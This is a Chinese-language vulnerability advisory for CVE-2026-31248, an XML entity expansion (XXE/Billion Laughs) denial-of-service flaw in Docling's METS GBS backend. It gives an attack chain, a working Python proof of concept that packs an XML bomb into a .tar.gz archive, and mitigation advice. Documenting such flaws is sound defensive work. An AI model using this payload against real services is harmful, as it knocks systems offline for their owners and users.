CVE-2026-31248 CVSS 7.5 高危

CVE-2026-31248 Docling METS GBS后端XXE漏洞

披露日期: 2026-05-11

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-31248

漏洞类型

XML外部实体注入 (XXE)

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Docling

漏洞概述

Docling项目的METS GBS后端在2.61.0及之前的版本中存在XML实体扩展（XXE）漏洞。该组件在处理.tar.gz归档文件时，会提取并验证其中的XML文件。由于代码使用了`etree.fromstring()`方法且未禁用实体解析，攻击者可以构造包含嵌套实体定义（XML Bomb）的恶意XML文件并打包进归档。当Docling解析该文件时，实体的指数级扩展将消耗大量系统资源，最终导致服务拒绝（DoS）。

技术细节

该漏洞的核心在于XML解析器配置不当。Docling的METS GBS后端在处理用户上传的.tar.gz文件时，使用Python的`etree.fromstring()`函数解析其中的XML内容，但未设置`resolve_entities=False`或禁用DTD加载。这允许攻击者利用XML的实体扩展机制实施“Billion Laughs”攻击。攻击者定义一个递归的实体引用，例如`&lol9;`扩展为10个`&lol8;`，层层递归，使得一个极小的XML文件在解析时扩展成数GB的数据。这种指数级增长迅速耗尽服务器的CPU和内存资源，导致系统挂起或崩溃，从而造成拒绝服务。此漏洞无需认证即可通过网络触发，且不需要用户交互，危害性较高。

攻击链分析

STEP 1

步骤1：构建恶意载荷

攻击者创建一个包含嵌套实体定义（XML Bomb）的恶意XML文件，设计用于在解析时触发指数级扩展。

STEP 2

步骤2：打包文件

将恶意XML文件打包成.tar.gz格式的压缩归档，模拟Docling系统接受的合法输入格式。

STEP 3

步骤3：上传文件

攻击者通过网络将包含恶意载荷的.tar.gz文件上传到Docling的METS GBS后端接口。

STEP 4

步骤4：解析与触发

后端服务提取并使用`etree.fromstring()`解析XML文件，由于未禁用实体解析，系统开始处理嵌套实体。

STEP 5

步骤5：资源耗尽

XML解析过程中产生巨大的数据量，迅速耗尽服务器CPU和内存资源，导致服务不可用（DoS）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import tarfile
import io

# Malicious XML payload (XML Bomb)
xml_payload = """<!DOCTYPE data [
  <!ELEMENT data (#ANY)>
  <!ENTITY a "1234567890">
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<data>&d;</data>
"""

# Create a tar.gz file containing the malicious XML
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w:gz") as tar:
    # Add XML file to archive
    info = tarfile.TarInfo(name="malicious.xml")
    info.size = len(xml_payload.encode())
    tar.addfile(info, io.BytesIO(xml_payload.encode()))

# Save the payload
with open("exploit.tar.gz", "wb") as f:
    f.write(tar_buffer.getvalue())

print("PoC generated: exploit.tar.gz")

影响范围

Docling <= 2.61.0

防御指南

临时缓解措施

建议立即升级Docling至修复版本。如无法立即升级，应在XML解析代码中显式禁用DTD和实体解析（例如在lxml中设置`resolve_entities=False`），或限制上传文件的大小及解析操作的超时时间，以缓解资源耗尽风险。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表